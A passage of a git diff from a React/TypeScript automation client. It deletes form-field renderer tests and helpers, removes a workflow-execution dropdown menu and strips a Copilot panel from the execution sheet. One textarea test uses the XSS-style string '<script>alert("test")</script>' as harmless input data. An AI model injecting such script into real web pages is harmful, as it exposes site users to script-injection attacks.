-            expect(radio).not.toBeChecked();
-        });
-    });
-});
diff --git a/client/src/pages/automation/trigger-form/components/tests/SelectFieldRenderer.test.tsx b/client/src/pages/automation/trigger-form/components/tests/SelectFieldRenderer.test.tsx
deleted file mode 100644
index 4a121aac01b..00000000000
--- a/client/src/pages/automation/trigger-form/components/tests/SelectFieldRenderer.test.tsx
+++ /dev/null
@@ -1,379 +0,0 @@
-import {fireEvent, render, screen, waitFor} from '@/shared/util/test-utils';
-import {describe, expect, it} from 'vitest';
-
-import {SelectFieldRenderer} from '../SelectFieldRenderer';
-import {createMockForm} from './testUtils';
-
-const mockOptions = [
-    {label: 'Red', value: 'red'},
-    {label: 'Blue', value: 'blue'},
-    {label: 'Green', value: 'green'},
-];
-
-describe('SelectFieldRenderer', () => {
-    describe('Single Select Mode', () => {
-        it('should render with fieldLabel', () => {
-            const {form, wrapper} = createMockForm();
-
-            render(
-                <SelectFieldRenderer
-                    form={form}
-                    formInput={{fieldLabel: 'Choose Color', fieldOptions: mockOptions}}
-                    name="color"
-                />,
-                {wrapper}
-            );
-
-            expect(screen.getByText('Choose Color')).toBeInTheDocument();
-        });
-
-        it('should render with fieldName when fieldLabel is not provided', () => {
-            const {form, wrapper} = createMockForm();
-
-            render(
-                <SelectFieldRenderer
-                    form={form}
-                    formInput={{fieldName: 'colorField', fieldOptions: mockOptions}}
-                    name="color"
-                />,
-                {wrapper}
-            );
-
-            expect(screen.getByText('colorField')).toBeInTheDocument();
-        });
-
-        it('should render with name when fieldLabel and fieldName are not provided', () => {
-            const {form, wrapper} = createMockForm();
-
-            render(<SelectFieldRenderer form={form} formInput={{fieldOptions: mockOptions}} name="fallbackSelect" />, {
-                wrapper,
-            });
-
-            expect(screen.getByText('fallbackSelect')).toBeInTheDocument();
-        });
-
-        it('should render field description when provided', () => {
-            const {form, wrapper} = createMockForm();
-
-            render(
-                <SelectFieldRenderer
-                    form={form}
-                    formInput={{
-                        fieldDescription: 'Select your favorite color',
-                        fieldLabel: 'Color',
-                        fieldOptions: mockOptions,
-                    }}
-                    name="color"
-                />,
-                {wrapper}
-            );
-
-            expect(screen.getByText('Select your favorite color')).toBeInTheDocument();
-        });
-
-        it('should render select trigger with default placeholder', () => {
-            const {form, wrapper} = createMockForm();
-
-            render(
-                <SelectFieldRenderer
-                    form={form}
-                    formInput={{fieldLabel: 'Color', fieldOptions: mockOptions}}
-                    name="color"
-                />,
-                {wrapper}
-            );
-
-            expect(screen.getByText('Select...')).toBeInTheDocument();
-        });
-
-        it('should render select trigger with custom placeholder', () => {
-            const {form, wrapper} = createMockForm();
-
-            render(
-                <SelectFieldRenderer
-                    form={form}
-                    formInput={{fieldLabel: 'Color', fieldOptions: mockOptions, placeholder: 'Pick a color'}}
-                    name="color"
-                />,
-                {wrapper}
-            );
-
-            expect(screen.getByText('Pick a color')).toBeInTheDocument();
-        });
-
-        it('should show options when clicked', async () => {
-            const {form, wrapper} = createMockForm();
-
-            render(
-                <SelectFieldRenderer
-                    form={form}
-                    formInput={{fieldLabel: 'Color', fieldOptions: mockOptions}}
-                    name="color"
-                />,
-                {wrapper}
-            );
-
-            fireEvent.click(screen.getByRole('combobox'));
-
-            await waitFor(() => {
-                expect(screen.getByRole('option', {name: 'Red'})).toBeInTheDocument();
-                expect(screen.getByRole('option', {name: 'Blue'})).toBeInTheDocument();
-                expect(screen.getByRole('option', {name: 'Green'})).toBeInTheDocument();
-            });
-        });
-
-        it('should update form value when option is selected', async () => {
-            const {form, formRef, wrapper} = createMockForm();
-
-            render(
-                <SelectFieldRenderer
-                    form={form}
-                    formInput={{fieldLabel: 'Color', fieldOptions: mockOptions}}
-                    name="selectedColor"
-                />,
-                {wrapper}
-            );
-
-            fireEvent.click(screen.getByRole('combobox'));
-
-            await waitFor(() => {
-                expect(screen.getByRole('option', {name: 'Blue'})).toBeInTheDocument();
-            });
-
-            fireEvent.click(screen.getByRole('option', {name: 'Blue'}));
-
-            expect(formRef.current?.getValues('selectedColor')).toBe('blue');
-        });
-
-        it('should display selected value from form', () => {
-            const {form, wrapper} = createMockForm({color: 'green'});
-
-            render(
-                <SelectFieldRenderer
-                    form={form}
-                    formInput={{fieldLabel: 'Color', fieldOptions: mockOptions}}
-                    name="color"
-                />,
-                {wrapper}
-            );
-
-            expect(screen.getByText('Green')).toBeInTheDocument();
-        });
-    });
-
-    describe('Multiple Choice Mode', () => {
-        it('should render checkboxes when multipleChoice is true', () => {
-            const {form, wrapper} = createMockForm();
-
-            render(
-                <SelectFieldRenderer
-                    form={form}
-                    formInput={{fieldLabel: 'Colors', fieldOptions: mockOptions, multipleChoice: true}}
-                    name="colors"
-                />,
-                {wrapper}
-            );
-
-            const checkboxes = screen.getAllByRole('checkbox');
-            expect(checkboxes).toHaveLength(3);
-        });
-
-        it('should render option labels in multiple choice mode', () => {
-            const {form, wrapper} = createMockForm();
-
-            render(
-                <SelectFieldRenderer
-                    form={form}
-                    formInput={{fieldLabel: 'Colors', fieldOptions: mockOptions, multipleChoice: true}}
-                    name="colors"
-                />,
-                {wrapper}
-            );
-
-            expect(screen.getByText('Red')).toBeInTheDocument();
-            expect(screen.getByText('Blue')).toBeInTheDocument();
-            expect(screen.getByText('Green')).toBeInTheDocument();
-        });
-
-        it('should update form value when checkbox is checked', () => {
-            const {form, formRef, wrapper} = createMockForm({colors: []});
-
-            render(
-                <SelectFieldRenderer
-                    form={form}
-                    formInput={{fieldLabel: 'Colors', fieldOptions: mockOptions, multipleChoice: true}}
-                    name="colors"
-                />,
-                {wrapper}
-            );
-
-            const checkboxes = screen.getAllByRole('checkbox');
-            fireEvent.click(checkboxes[0]);
-
-            expect(formRef.current?.getValues('colors')).toContain('red');
-        });
-
-        it('should allow multiple selections', () => {
-            const {form, formRef, wrapper} = createMockForm({colors: []});
-
-            render(
-                <SelectFieldRenderer
-                    form={form}
-                    formInput={{fieldLabel: 'Colors', fieldOptions: mockOptions, multipleChoice: true}}
-                    name="colors"
-                />,
-                {wrapper}
-            );
-
-            const checkboxes = screen.getAllByRole('checkbox');
-            fireEvent.click(checkboxes[0]);
-            fireEvent.click(checkboxes[1]);
-
-            const values = formRef.current?.getValues('colors') as string[];
-            expect(values).toContain('red');
-            expect(values).toContain('blue');
-        });
-
-        it('should remove value when checkbox is unchecked', () => {
-            const {form, formRef, wrapper} = createMockForm({colors: ['red', 'blue']});
-
-            render(
-                <SelectFieldRenderer
-                    form={form}
-                    formInput={{fieldLabel: 'Colors', fieldOptions: mockOptions, multipleChoice: true}}
-                    name="colors"
-                />,
-                {wrapper}
-            );
-
-            const checkboxes = screen.getAllByRole('checkbox');
-            fireEvent.click(checkboxes[0]);
-
-            const values = formRef.current?.getValues('colors') as string[];
-            expect(values).not.toContain('red');
-            expect(values).toContain('blue');
-        });
-
-        it('should reflect checked state from form values', () => {
-            const {form, wrapper} = createMockForm({colors: ['red', 'green']});
-
-            render(
-                <SelectFieldRenderer
-                    form={form}
-                    formInput={{fieldLabel: 'Colors', fieldOptions: mockOptions, multipleChoice: true}}
-                    name="colors"
-                />,
-                {wrapper}
-            );
-
-            const checkboxes = screen.getAllByRole('checkbox');
-            expect(checkboxes[0]).toBeChecked();
-            expect(checkboxes[1]).not.toBeChecked();
-            expect(checkboxes[2]).toBeChecked();
-        });
-
-        it('should respect maxSelection limit', () => {
-            const {form, formRef, wrapper} = createMockForm({colors: ['red', 'blue']});
-
-            render(
-                <SelectFieldRenderer
-                    form={form}
-                    formInput={{
-                        fieldLabel: 'Colors',
-                        fieldOptions: mockOptions,
-                        maxSelection: 2,
-                        multipleChoice: true,
-                    }}
-                    name="colors"
-                />,
-                {wrapper}
-            );
-
-            const checkboxes = screen.getAllByRole('checkbox');
-            fireEvent.click(checkboxes[2]);
-
-            const values = formRef.current?.getValues('colors') as string[];
-            expect(values).toHaveLength(2);
-            expect(values).not.toContain('green');
-        });
-
-        it('should allow selection when under maxSelection limit', () => {
-            const {form, formRef, wrapper} = createMockForm({colors: ['red']});
-
-            render(
-                <SelectFieldRenderer
-                    form={form}
-                    formInput={{
-                        fieldLabel: 'Colors',
-                        fieldOptions: mockOptions,
-                        maxSelection: 2,
-                        multipleChoice: true,
-                    }}
-                    name="colors"
-                />,
-                {wrapper}
-            );
-
-            const checkboxes = screen.getAllByRole('checkbox');
-            fireEvent.click(checkboxes[1]);
-
-            const values = formRef.current?.getValues('colors') as string[];
-            expect(values).toContain('blue');
-        });
-
-        it('should handle non-array form values gracefully', () => {
-            const {form, wrapper} = createMockForm({colors: 'invalid'});
-
-            render(
-                <SelectFieldRenderer
-                    form={form}
-                    formInput={{fieldLabel: 'Colors', fieldOptions: mockOptions, multipleChoice: true}}
-                    name="colors"
-                />,
-                {wrapper}
-            );
-
-            const checkboxes = screen.getAllByRole('checkbox');
-            checkboxes.forEach((checkbox) => {
-                expect(checkbox).not.toBeChecked();
-            });
-        });
-    });
-
-    describe('Empty Options', () => {
-        it('should handle empty fieldOptions for single select', () => {
-            const {form, wrapper} = createMockForm();
-
-            render(
-                <SelectFieldRenderer form={form} formInput={{fieldLabel: 'Empty', fieldOptions: []}} name="empty" />,
-                {wrapper}
-            );
-
-            expect(screen.getByText('Select...')).toBeInTheDocument();
-        });
-
-        it('should handle undefined fieldOptions for single select', () => {
-            const {form, wrapper} = createMockForm();
-
-            render(<SelectFieldRenderer form={form} formInput={{fieldLabel: 'Empty'}} name="empty" />, {wrapper});
-
-            expect(screen.getByText('Select...')).toBeInTheDocument();
-        });
-
-        it('should handle empty fieldOptions for multiple choice', () => {
-            const {form, wrapper} = createMockForm();
-
-            render(
-                <SelectFieldRenderer
-                    form={form}
-                    formInput={{fieldLabel: 'Empty', fieldOptions: [], multipleChoice: true}}
-                    name="empty"
-                />,
-                {wrapper}
-            );
-
-            const checkboxes = screen.queryAllByRole('checkbox');
-            expect(checkboxes).toHaveLength(0);
-        });
-    });
-});
diff --git a/client/src/pages/automation/trigger-form/components/tests/TextAreaFieldRenderer.test.tsx b/client/src/pages/automation/trigger-form/components/tests/TextAreaFieldRenderer.test.tsx
deleted file mode 100644
index 115894ab50b..00000000000
--- a/client/src/pages/automation/trigger-form/components/tests/TextAreaFieldRenderer.test.tsx
+++ /dev/null
@@ -1,167 +0,0 @@
-import {fireEvent, render, screen} from '@/shared/util/test-utils';
-import {describe, expect, it} from 'vitest';
-
-import {TextAreaFieldRenderer} from '../TextAreaFieldRenderer';
-import {createMockForm} from './testUtils';
-
-describe('TextAreaFieldRenderer', () => {
-    it('should render with fieldLabel', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(<TextAreaFieldRenderer form={form} formInput={{fieldLabel: 'Description'}} name="description" />, {
-            wrapper,
-        });
-
-        expect(screen.getByText('Description')).toBeInTheDocument();
-    });
-
-    it('should render with fieldName when fieldLabel is not provided', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(<TextAreaFieldRenderer form={form} formInput={{fieldName: 'descriptionField'}} name="description" />, {
-            wrapper,
-        });
-
-        expect(screen.getByText('descriptionField')).toBeInTheDocument();
-    });
-
-    it('should render with name when fieldLabel and fieldName are not provided', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(<TextAreaFieldRenderer form={form} formInput={{}} name="fallbackTextArea" />, {wrapper});
-
-        expect(screen.getByText('fallbackTextArea')).toBeInTheDocument();
-    });
-
-    it('should render field description when provided', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(
-            <TextAreaFieldRenderer
-                form={form}
-                formInput={{fieldDescription: 'Enter a detailed description', fieldLabel: 'Description'}}
-                name="description"
-            />,
-            {wrapper}
-        );
-
-        expect(screen.getByText('Enter a detailed description')).toBeInTheDocument();
-    });
-
-    it('should not render field description when not provided', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(<TextAreaFieldRenderer form={form} formInput={{fieldLabel: 'Description'}} name="description" />, {
-            wrapper,
-        });
-
-        expect(screen.queryByText('Enter a detailed description')).not.toBeInTheDocument();
-    });
-
-    it('should render textarea element', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(<TextAreaFieldRenderer form={form} formInput={{fieldLabel: 'Notes'}} name="notes" />, {wrapper});
-
-        expect(screen.getByRole('textbox')).toBeInTheDocument();
-    });
-
-    it('should display placeholder when provided', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(
-            <TextAreaFieldRenderer
-                form={form}
-                formInput={{fieldLabel: 'Comments', placeholder: 'Enter your comments here...'}}
-                name="comments"
-            />,
-            {wrapper}
-        );
-
-        const textarea = screen.getByRole('textbox');
-        expect(textarea).toHaveAttribute('placeholder', 'Enter your comments here...');
-    });
-
-    it('should update form value when typing', () => {
-        const {form, formRef, wrapper} = createMockForm();
-
-        render(<TextAreaFieldRenderer form={form} formInput={{fieldLabel: 'Notes'}} name="notes" />, {wrapper});
-
-        const textarea = screen.getByRole('textbox');
-        fireEvent.change(textarea, {target: {value: 'This is a test note.'}});
-
-        expect(formRef.current?.getValues('notes')).toBe('This is a test note.');
-    });
-
-    it('should display existing string value from form', () => {
-        const {form, wrapper} = createMockForm({notes: 'Existing note content'});
-
-        render(<TextAreaFieldRenderer form={form} formInput={{fieldLabel: 'Notes'}} name="notes" />, {wrapper});
-
-        const textarea = screen.getByRole('textbox');
-        expect(textarea).toHaveValue('Existing note content');
-    });
-
-    it('should display empty string for non-string values', () => {
-        const {form, wrapper} = createMockForm({notes: {complex: 'object'}});
-
-        render(<TextAreaFieldRenderer form={form} formInput={{fieldLabel: 'Notes'}} name="notes" />, {wrapper});
-
-        const textarea = screen.getByRole('textbox');
-        expect(textarea).toHaveValue('');
-    });
-
-    it('should handle multiline text input', () => {
-        const {form, formRef, wrapper} = createMockForm();
-        const multilineText = 'Line 1\nLine 2\nLine 3';
-
-        render(<TextAreaFieldRenderer form={form} formInput={{fieldLabel: 'Content'}} name="content" />, {wrapper});
-
-        const textarea = screen.getByRole('textbox');
-        fireEvent.change(textarea, {target: {value: multilineText}});
-
-        expect(formRef.current?.getValues('content')).toBe(multilineText);
-    });
-
-    it('should preserve existing multiline value', () => {
-        const multilineText = 'First line\nSecond line\nThird line';
-        const {form, wrapper} = createMockForm({content: multilineText});
-
-        render(<TextAreaFieldRenderer form={form} formInput={{fieldLabel: 'Content'}} name="content" />, {wrapper});
-
-        const textarea = screen.getByRole('textbox');
-        expect(textarea).toHaveValue(multilineText);
-    });
-
-    it('should handle empty string value', () => {
-        const {form, wrapper} = createMockForm({text: ''});
-
-        render(<TextAreaFieldRenderer form={form} formInput={{fieldLabel: 'Text'}} name="text" />, {wrapper});
-
-        const textarea = screen.getByRole('textbox');
-        expect(textarea).toHaveValue('');
-    });
-
-    it('should handle special characters in text', () => {
-        const specialText = '<script>alert("test")</script> & "quotes" \'apostrophes\'';
-        const {form, formRef, wrapper} = createMockForm();
-
-        render(<TextAreaFieldRenderer form={form} formInput={{fieldLabel: 'Special'}} name="special" />, {wrapper});
-
-        const textarea = screen.getByRole('textbox');
-        fireEvent.change(textarea, {target: {value: specialText}});
-
-        expect(formRef.current?.getValues('special')).toBe(specialText);
-    });
-
-    it('should handle numeric value by converting to empty string', () => {
-        const {form, wrapper} = createMockForm({numericField: 12345});
-
-        render(<TextAreaFieldRenderer form={form} formInput={{fieldLabel: 'Numeric'}} name="numericField" />, {
-            wrapper,
-        });
-
-        const textarea = screen.getByRole('textbox');
-        expect(textarea).toHaveValue('');
-    });
-});
diff --git a/client/src/pages/automation/trigger-form/components/tests/testUtils.tsx b/client/src/pages/automation/trigger-form/components/tests/testUtils.tsx
deleted file mode 100644
index 8c613deeb98..00000000000
--- a/client/src/pages/automation/trigger-form/components/tests/testUtils.tsx
+++ /dev/null
@@ -1,51 +0,0 @@
-import {Form} from '@/components/ui/form';
-import {ReactNode} from 'react';
-import {UseFormReturn, useForm} from 'react-hook-form';
-
-type FormRefType = {current: UseFormReturn<Record<string, unknown>> | null};
-
-interface CreateFormWrapperOptionsProps {
-    defaultValues?: Record<string, unknown>;
-    formRef?: FormRefType;
-}
-
-export function createFormWrapper({defaultValues = {}, formRef}: CreateFormWrapperOptionsProps = {}) {
-    return function FormWrapper({children}: {children: ReactNode}) {
-        const form = useForm<Record<string, unknown>>({
-            defaultValues,
-            mode: 'onSubmit',
-        });
-
-        if (formRef) {
-            formRef.current = form;
-        }
-
-        return <Form {...form}>{children}</Form>;
-    };
-}
-
-export function createMockForm(defaultValues: Record<string, unknown> = {}) {
-    const formRef: FormRefType = {current: null};
-
-    const wrapper = createFormWrapper({defaultValues, formRef});
-
-    return {
-        form: new Proxy({} as UseFormReturn<Record<string, unknown>>, {
-            get(_target, prop) {
-                if (formRef.current) {
-                    const value = (formRef.current as Record<string, unknown>)[prop as string];
-
-                    if (typeof value === 'function') {
-                        return value.bind(formRef.current);
-                    }
-
-                    return value;
-                }
-
-                return undefined;
-            },
-        }),
-        formRef,
-        wrapper,
-    };
-}
diff --git a/client/src/pages/automation/workflow-executions/components/WorkflowExecutionsDropdownMenu.tsx b/client/src/pages/automation/workflow-executions/components/WorkflowExecutionsDropdownMenu.tsx
deleted file mode 100644
index 304f5d5c99d..00000000000
--- a/client/src/pages/automation/workflow-executions/components/WorkflowExecutionsDropdownMenu.tsx
+++ /dev/null
@@ -1,81 +0,0 @@
-import Button from '@/components/Button/Button';
-import {DropdownMenu, DropdownMenuContent, DropdownMenuItem, DropdownMenuTrigger} from '@/components/ui/dropdown-menu';
-import {useToast} from '@/hooks/use-toast';
-import {WorkflowExecution} from '@/shared/middleware/automation/workflow/execution';
-import {useStopJobMutation} from '@/shared/mutations/platform/jobs.mutations';
-import {WorkflowExecutionKeys} from '@/shared/queries/automation/workflowExecutions.queries';
-import {useQueryClient} from '@tanstack/react-query';
-import {CellContext} from '@tanstack/react-table';
-import {CircleStopIcon, EllipsisVerticalIcon, ViewIcon} from 'lucide-react';
-
-import useWorkflowExecutionSheetStore from '../stores/useWorkflowExecutionSheetStore';
-
-/* eslint-disable-next-line @typescript-eslint/no-explicit-any */
-const WorkflowExecutionsDropdownMenu = ({data}: {data: CellContext<WorkflowExecution, any>}) => {
-    const {toast} = useToast();
-
-    const queryClient = useQueryClient();
-
-    const {setWorkflowExecutionId, setWorkflowExecutionSheetOpen} = useWorkflowExecutionSheetStore();
-
-    const stopJobMutation = useStopJobMutation({
-        onError: () =>
-            toast({
-                className: 'mt-2 w-[340px] rounded-md bg-red-600 p-4 text-white',
-                description: 'Failed to stop Workflow Execution',
-            }),
-        onSuccess: () => {
-            toast({
-                className: 'mt-2 w-[340px] rounded-md bg-green-600 p-4 text-white',
-                description: 'Stopping Workflow Execution',
-            });
-
-            queryClient.invalidateQueries({
-                queryKey: WorkflowExecutionKeys.workflowExecutions,
-            });
-        },
-    });
-
-    const disabled = data.getValue()?.status !== 'STARTED';
-
-    const handleViewClick = () => {
-        const id = data.row.original.id;
-
-        if (id != null) {
-            setWorkflowExecutionId(id);
-            setWorkflowExecutionSheetOpen(true);
-        }
-    };
-
-    const handleStopWorkflowExecutionClick = (id: number) => {
-        stopJobMutation.mutate(id);
-    };
-
-    return (
-        <DropdownMenu>
-            <DropdownMenuTrigger asChild>
-                <Button
-                    icon={<EllipsisVerticalIcon className="size-4 hover:cursor-pointer" />}
-                    size="icon"
-                    variant="ghost"
-                />
-            </DropdownMenuTrigger>
-
-            <DropdownMenuContent align="center" onClick={(e) => e.stopPropagation()}>
-                <DropdownMenuItem className="dropdown-menu-item" onClick={handleViewClick}>
-                    <ViewIcon /> View
-                </DropdownMenuItem>
-
-                <DropdownMenuItem
-                    className="dropdown-menu-item-destructive"
-                    disabled={disabled}
-                    onClick={() => handleStopWorkflowExecutionClick(data.getValue()?.id)}
-                >
-                    <CircleStopIcon /> Stop
-                </DropdownMenuItem>
-            </DropdownMenuContent>
-        </DropdownMenu>
-    );
-};
-
-export default WorkflowExecutionsDropdownMenu;
diff --git a/client/src/pages/automation/workflow-executions/components/WorkflowExecutionsTable.tsx b/client/src/pages/automation/workflow-executions/components/WorkflowExecutionsTable.tsx
index 69a3692ca61..a164408e138 100644
--- a/client/src/pages/automation/workflow-executions/components/WorkflowExecutionsTable.tsx
+++ b/client/src/pages/automation/workflow-executions/components/WorkflowExecutionsTable.tsx
@@ -5,7 +5,6 @@ import {CellContext, createColumnHelper, flexRender, getCoreRowModel, useReactTa
 import {useShallow} from 'zustand/react/shallow';
 
 import useWorkflowExecutionSheetStore from '../stores/useWorkflowExecutionSheetStore';
-import WorkflowExecutionsDropdownMenu from './WorkflowExecutionsDropdownMenu';
 
 const getDuration = (info: CellContext<WorkflowExecution, JobBasic | undefined>) => {
     const infoValue = info.getValue();
@@ -64,10 +63,6 @@ const WorkflowExecutionsTable = ({data}: {data: WorkflowExecution[]}) => {
                 ),
                 header: 'Execution date',
             }),
-            columnHelper.accessor((row) => row.job, {
-                cell: (info) => <WorkflowExecutionsDropdownMenu data={info} />,
-                header: 'Action',
-            }),
         ],
         data,
         getCoreRowModel: getCoreRowModel(),
diff --git a/client/src/pages/automation/workflow-executions/components/workflow-execution-sheet/WorkflowExecutionSheet.tsx b/client/src/pages/automation/workflow-executions/components/workflow-execution-sheet/WorkflowExecutionSheet.tsx
index 0f8f728c564..c8b74730619 100644
--- a/client/src/pages/automation/workflow-executions/components/workflow-execution-sheet/WorkflowExecutionSheet.tsx
+++ b/client/src/pages/automation/workflow-executions/components/workflow-execution-sheet/WorkflowExecutionSheet.tsx
@@ -1,124 +1,99 @@
-import Button from '@/components/Button/Button';
 import {ResizableHandle, ResizablePanel, ResizablePanelGroup} from '@/components/ui/resizable';
-import {Sheet, SheetCloseButton, SheetContent, SheetTitle} from '@/components/ui/sheet';
+import {Sheet, SheetCloseButton, SheetContent} from '@/components/ui/sheet';
 import {Spinner} from '@/components/ui/spinner';
-import {Tooltip, TooltipContent, TooltipTrigger} from '@/components/ui/tooltip';
 import {WorkflowReadOnlyProvider} from '@/pages/platform/workflow-editor/providers/workflowEditorProvider';
-import CopilotPanel from '@/shared/components/copilot/CopilotPanel';
 import {useGetComponentDefinitionsQuery} from '@/shared/queries/automation/componentDefinitions.queries';
-import {useFeatureFlagsStore} from '@/shared/stores/useFeatureFlagsStore';
-import {SparklesIcon, WorkflowIcon} from 'lucide-react';
-import {VisuallyHidden} from 'radix-ui';
+import {useGetProjectWorkflowExecutionQuery} from '@/shared/queries/automation/workflowExecutions.queries';
+import {WorkflowIcon} from 'lucide-react';
+import {useCallback} from 'react';
+import {useShallow} from 'zustand/react/shallow';
 
+import useWorkflowExecutionSheetStore from '../../stores/useWorkflowExecutionSheetStore';
 import WorkflowExecutionSheetContent from './WorkflowExecutionSheetContent';
 import WorkflowExecutionSheetWorkflowPanel from './WorkflowExecutionSheetWorkflowPanel';
-import useWorkflowExecutionSheet from './hooks/useWorkflowExecutionSheet';
 
 const WorkflowExecutionSheet = () => {
-    const {
-        copilotEnabled,
-        copilotPanelOpen,
-        handleCopilotClick,
-        handleCopilotClose,
-        handleOpenChange,
-        workflowExecution,
-        workflowExecutionLoading,
-        workflowExecutionSheetOpen,
-    } = useWorkflowExecutionSheet();
+    const {setWorkflowExecutionSheetOpen, workflowExecutionId, workflowExecutionSheetOpen} =
+        useWorkflowExecutionSheetStore(
+            useShallow((state) => ({
+                setWorkflowExecutionSheetOpen: state.setWorkflowExecutionSheetOpen,
+                workflowExecutionId: state.workflowExecutionId,
+                workflowExecutionSheetOpen: state.workflowExecutionSheetOpen,
+            }))
+        );
 
-    const ff_4077 = useFeatureFlagsStore()('ff-4077');
+    const {data: workflowExecution, isLoading: workflowExecutionLoading} = useGetProjectWorkflowExecutionQuery(
+        {
+            id: workflowExecutionId,
+        },
+        workflowExecutionSheetOpen
+    );
+
+    const handleOpenChange = useCallback(() => {
+        setWorkflowExecutionSheetOpen(!workflowExecutionSheetOpen);
+    }, [workflowExecutionSheetOpen, setWorkflowExecutionSheetOpen]);
 
     return (
         <Sheet onOpenChange={handleOpenChange} open={workflowExecutionSheetOpen}>
-            <VisuallyHidden.Root>
-                <SheetTitle>{`${workflowExecution?.project?.name}/${workflowExecution?.workflow?.label}`}</SheetTitle>
-            </VisuallyHidden.Root>
-
-            <SheetContent className="absolute bottom-4 right-4 top-3 flex h-auto w-[90%] flex-row gap-0 rounded-md bg-surface-neutral-secondary p-0 sm:max-w-[90%]">
-                <div className="flex min-w-0 flex-1 flex-col">
-                    {workflowExecutionLoading ? (
-                        <div className="flex size-full items-center justify-center">
-                            <Spinner className="size-6" />
-                        </div>
-                    ) : (
-                        <>
-                            <header className="flex w-full shrink-0 items-center justify-between gap-x-3 rounded-t-md bg-surface-neutral-primary p-3">
-                                <div className="flex items-center gap-x-2">
-                                    <WorkflowIcon />
+            <SheetContent className="absolute bottom-4 right-4 top-3 flex h-auto w-[90%] flex-col gap-0 rounded-md bg-surface-neutral-secondary p-0 sm:max-w-[90%]">
+                {workflowExecutionLoading ? (
+                    <div className="flex size-full items-center justify-center">
+                        <Spinner className="size-6" />
+                    </div>
+                ) : (
+                    <>
+                        <header className="flex w-full shrink-0 items-center justify-between gap-x-3 rounded-t-md bg-surface-neutral-primary p-3">
+                            <div className="flex items-center gap-x-2">
+                                <WorkflowIcon />
 
-                                    <span className="flex gap-x-1 text-base text-content-neutral-secondary">
-                                        {`${workflowExecution?.project?.name} /`}
+                                <span className="flex gap-x-1 text-base text-content-neutral-secondary">
+                                    {`${workflowExecution?.project?.name} /`}
 
-                                        <strong className="text-content-neutral-primary">
-                                            {workflowExecution?.workflow?.label}
-                                        </strong>
-                                    </span>
-                                </div>
+                                    <strong className="text-content-neutral-primary">
+                                        {workflowExecution?.workflow?.label}
+                                    </strong>
+                                </span>
+                            </div>
 
-                                <div className="flex items-center gap-1">
-                                    {ff_4077 && copilotEnabled && (
-                                        <Tooltip>
-                                            <TooltipTrigger asChild>
-                                                <Button
-                                                    className="[&_svg]:size-5"
-                                                    icon={<SparklesIcon />}
-                                                    onClick={handleCopilotClick}
-                                                    size="icon"
-                                                    variant="ghost"
-                                                />
-                                            </TooltipTrigger>
+                            <SheetCloseButton />
+                        </header>
 
-                                            <TooltipContent>Open Copilot panel</TooltipContent>
-                                        </Tooltip>
+                        <div className="flex min-h-0 flex-1 p-3">
+                            <ResizablePanelGroup className="h-full" direction="horizontal">
+                                <ResizablePanel
+                                    className="flex min-h-0 w-1/2 flex-col overflow-hidden rounded-md bg-surface-neutral-primary"
+                                    defaultSize={50}
+                                >
+                                    {workflowExecution?.job && (
+                                        <WorkflowExecutionSheetContent
+                                            job={workflowExecution.job}
+                                            triggerExecution={workflowExecution?.triggerExecution}
+                                        />
                                     )}
+                                </ResizablePanel>
 
-                                    <SheetCloseButton />
-                                </div>
-                            </header>
+                                <ResizableHandle className="mx-2.5" withHandle />
 
-                            <div className="flex min-h-0 flex-1 p-3">
-                                <ResizablePanelGroup className="h-full" direction="horizontal">
-                                    <ResizablePanel
-                                        className="flex min-h-0 w-1/2 flex-col overflow-hidden rounded-md bg-surface-neutral-primary"
-                                        defaultSize={50}
-                                    >
-                                        {workflowExecution?.job && (
-                                            <WorkflowExecutionSheetContent
-                                                job={workflowExecution.job}
-                                                triggerExecution={workflowExecution?.triggerExecution}
+                                <ResizablePanel
+                                    className="flex min-h-0 w-1/2 flex-col overflow-hidden"
+                                    defaultSize={50}
+                                >
+                                    {workflowExecution && (
+                                        <WorkflowReadOnlyProvider
+                                            value={{
+                                                useGetComponentDefinitionsQuery: useGetComponentDefinitionsQuery,
+                                            }}
+                                        >
+                                            <WorkflowExecutionSheetWorkflowPanel
+                                                workflowExecution={workflowExecution}
                                             />
-                                        )}
-                                    </ResizablePanel>
-
-                                    <ResizableHandle className="mx-2.5" withHandle />
-
-                                    <ResizablePanel
-                                        className="flex min-h-0 w-1/2 flex-col overflow-hidden"
-                                        defaultSize={50}
-                                    >
-                                        {workflowExecution && (
-                                            <WorkflowReadOnlyProvider
-                                                value={{
-                                                    useGetComponentDefinitionsQuery: useGetComponentDefinitionsQuery,
-                                                }}
-                                            >
-                                                <WorkflowExecutionSheetWorkflowPanel
-                                                    workflowExecution={workflowExecution}
-                                                />
-                                            </WorkflowReadOnlyProvider>
-                                        )}
-                                    </ResizablePanel>
-                                </ResizablePanelGroup>
-                            </div>
-                        </>
-                    )}
-                </div>
-
-                <CopilotPanel
-                    className="h-full rounded-r-md border-l"
-                    onClose={handleCopilotClose}
-                    open={copilotPanelOpen}
-                />
+                                        </WorkflowReadOnlyProvider>
+                                    )}
+                                </ResizablePanel>
+                            </ResizablePanelGroup>
+                        </div>
+                    </>
+                )}
             </SheetContent>
         </Sheet>
     );
diff --git a/client/src/pages/automation/workflow-executions/components/workflow-execution-sheet/WorkflowExecutionSheetContent.tsx b/client/src/pages/automation/workflow-executions/components/workflow-execution-sheet/WorkflowExecutionSheetContent.tsx
index c21e2efe560..9b123a304ad 100644
--- a/client/src/pages/automation/workflow-executions/components/workflow-execution-sheet/WorkflowExecutionSheetContent.tsx
+++ b/client/src/pages/automation/workflow-executions/components/workflow-execution-sheet/WorkflowExecutionSheetContent.tsx
@@ -7,11 +7,10 @@ import WorkflowExecutionsTaskAccordionItem from '@/shared/components/workflow-ex
 import WorkflowExecutionsTriggerAccordionItem from '@/shared/components/workflow-executions/WorkflowExecutionsTriggerAccordionItem';
 import {getTasksTree} from '@/shared/components/workflow-executions/WorkflowExecutionsUtils';
 import {Job, TaskExecution, TriggerExecution} from '@/shared/middleware/automation/workflow/execution';
-import {TabValueType} from '@/shared/types';
 import {useCallback, useMemo, useState} from 'react';
 
 const WorkflowExecutionSheetContent = ({job, triggerExecution}: {job: Job; triggerExecution?: TriggerExecution}) => {
-    const [activeTab, setActiveTab] = useState<TabValueType>('input');
